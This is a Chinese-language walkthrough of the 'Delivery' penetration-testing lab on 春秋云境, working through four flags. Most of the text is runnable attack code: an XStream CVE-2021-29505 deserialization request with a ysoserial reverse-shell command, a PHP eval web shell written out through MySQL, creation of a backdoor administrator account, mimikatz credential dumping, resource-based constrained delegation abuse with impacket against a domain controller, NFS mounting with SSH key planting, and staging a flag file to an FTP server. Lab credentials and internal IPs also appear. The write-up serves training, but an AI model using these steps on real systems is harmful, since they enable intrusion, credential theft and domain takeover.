春秋云境-Delivery

flag01

外网有一个 ftp

里面有个 pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.2</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>ezjava</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>ezjava</name>
    <description>ezjava</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>

        <dependency>
            <groupId>com.thoughtworks.xstream</groupId>
            <artifactId>xstream</artifactId>
            <version>1.4.16</version>
        </dependency>

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

说明里面有 xstream 服务。

https://github.com/vulhub/vulhub/blob/master/xstream/CVE-2021-29505/README.zh-cn.md

1
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,Yxx}|{base64,-d}|{bash,-i}"

PoC：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
POST /just_sumbit_it HTTP/1.1
Host: 39.98.119.159:8080
Content-Length: 3119
Accept: application/xml, text/xml, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/xml;charset=UTF-8
Origin: http://39.98.119.159:8080
Referer: http://39.98.119.159:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Content-Type: application/xml
Connection: close


<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>xxx</string>
                                                <int>1099</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>xxx</host>
                                        <port>1099</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

flag03

有个 mysql 弱口令，挂代理直接连。不能 udf，尝试写入文件。

1
show VARIABLES like "secure_file_priv";

能写入文件。

1
show variables like "%general%"

发现是 phpstudy。

直接写入。

1
select "<?php eval($_POST[1]);?>" into outfile "C:/phpstudy_pro/WWW/1.php";

flag04

怎么少个 flag

1
2
net user natro92 123qwe!@# /add
net localgroup administrators natro92 /add

连 rdp 抓明文密码：

1
mimikatz "privilege::debug" "log" "sekurlsa::debug" > 1.txt

抓到 Hash

XIAORANG/chenglei:Xt61f3LBhg1

然后就是 RBCD：

1
addcomputer.py -method SAMR XIAORANG/chenglei:Xt61f3LBhg1 -computer-name test$ -computer-pass '123qwe!@#' -dc-ip 172.22.13.6

1
rbcd.py XIAORANG/chenglei:Xt61f3LBhg1 -dc-ip 172.22.13.6 -action write -delegate-to 'WIN-DC$' -delegate-from 'test$'

1
getST.py -dc-ip 172.22.13.6 xiaorang.lab/test`$:123qwe!@# -spn cifs/WIN-DC.xiaorang.lab -impersonate administrator

1
2
$env:KRB5CCNAME='administrator@cifs_WIN-DC.xiaorang.lab@XIAORANG.LAB.ccache'
psexec.py Administrator@WIN-DC.xiaorang.lab -target-ip 172.22.13.6 -dc-ip 172.22.13.6 -no-pass -k -codec gbk

加个 target-ip 参数就不用改 host 了。

flag03

最后这个一直都没找到。任务提示了说在内网有 NFS 服务。

https://xz.aliyun.com/t/11664#toc-12

https://xz.aliyun.com/news/11110

得先给它下个 nfs-common

1
libtirpc1

1
2
3
4
5
6
cd /
apt-get update
apt-get install nfs-common
showmount -e 172.22.13.57
mkdir temp
mount -t nfs 172.22.13.57:/ ./temp -o nolock

写公钥给 authorized_keys 然后直接用密钥链接。

看不了 flag，能看 pass。

1
xiaorang.lab/zhangwen\QT62f3gBhK1

suid 提权

1
find / -user root -perm -4000 -print 2>/dev/null

得先用 13.14 起一个 ftp

1
python3 -m pyftpdlib -p 6666 -u test -P test -w

然后用挂载的用户把 flag 上传到 ftp 上面

1
put flag02.txt

回到最开始的位置读取 flag。